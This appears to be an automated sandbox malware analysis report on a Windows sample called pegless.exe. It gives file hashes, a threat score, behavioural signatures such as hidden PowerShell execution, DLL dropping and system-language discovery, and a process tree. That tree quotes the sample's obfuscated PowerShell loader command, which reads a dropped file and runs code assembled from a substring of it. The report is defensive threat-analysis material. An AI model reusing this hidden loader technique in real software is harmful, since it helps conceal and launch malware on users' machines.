Analysis

  • max time kernel
    120s
  • max time network
    125s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    17-12-2024 12:06

General

  • Target

    pegless.exe

  • Size

    1.1MB

  • MD5

    487fad16da392c87fb894a6ccbd95870

  • SHA1

    16f4935ce6d245d535f23a1557b6f0e0ad77baa9

  • SHA256

    2bbb66a5bad18e8ca2fee4fec0bfc6ce83b1cc4852d712c986685f095b3589ce

  • SHA512

    bbb60d3e7a24964e100ea583bd701dbf1b1ebffb44fd03de5f6c096b87de8ded04e7ece05dd28995eb2bcdf1e3cdb1fcaa11078277cba3b41af1a5c4b8e04b59

  • SSDEEP

    24576:zNrNYogUzS7ZTdlfjS03VwV5k7j5awX300zQUGtZc:Z+JI2Jj3VwXgj5aEkHUGtZc

Score
8/10

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Loads dropped DLL 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\pegless.exe
    "C:\Users\Admin\AppData\Local\Temp\pegless.exe"
    1⤵
    • Loads dropped DLL
    • Drops file in System32 directory
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2268
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Subleasing20=gc -raw 'C:\Users\Admin\AppData\Local\Temp\globosely\baadehavn\stnner\Afsyringer.Una';$Damselflies181=$Subleasing20.SubString(62296,3);.$Damselflies181($Subleasing20) "
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2172

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • \Users\Admin\AppData\Local\Temp\nseA861.tmp\nsExec.dll

    Filesize

    7KB

    MD5

    675c4948e1efc929edcabfe67148eddd

    SHA1

    f5bdd2c4329ed2732ecfe3423c3cc482606eb28e

    SHA256

    1076ca39c449ed1a968021b76ef31f22a5692dfafeea29460e8d970a63c59906

    SHA512

    61737021f86f54279d0a4e35db0d0808e9a55d89784a31d597f2e4b65b7bbeec99aa6c79d65258259130eeda2e5b2820f4f1247777a3010f2dc53e30c612a683

  • memory/2172-17-0x0000000074A51000-0x0000000074A52000-memory.dmp

    Filesize

    4KB

  • memory/2172-19-0x0000000074A50000-0x0000000074FFB000-memory.dmp

    Filesize

    5.7MB

  • memory/2172-20-0x0000000074A50000-0x0000000074FFB000-memory.dmp

    Filesize

    5.7MB

  • memory/2172-18-0x0000000074A50000-0x0000000074FFB000-memory.dmp

    Filesize

    5.7MB

  • memory/2172-21-0x0000000074A50000-0x0000000074FFB000-memory.dmp

    Filesize

    5.7MB

  • memory/2172-22-0x0000000074A50000-0x0000000074FFB000-memory.dmp

    Filesize

    5.7MB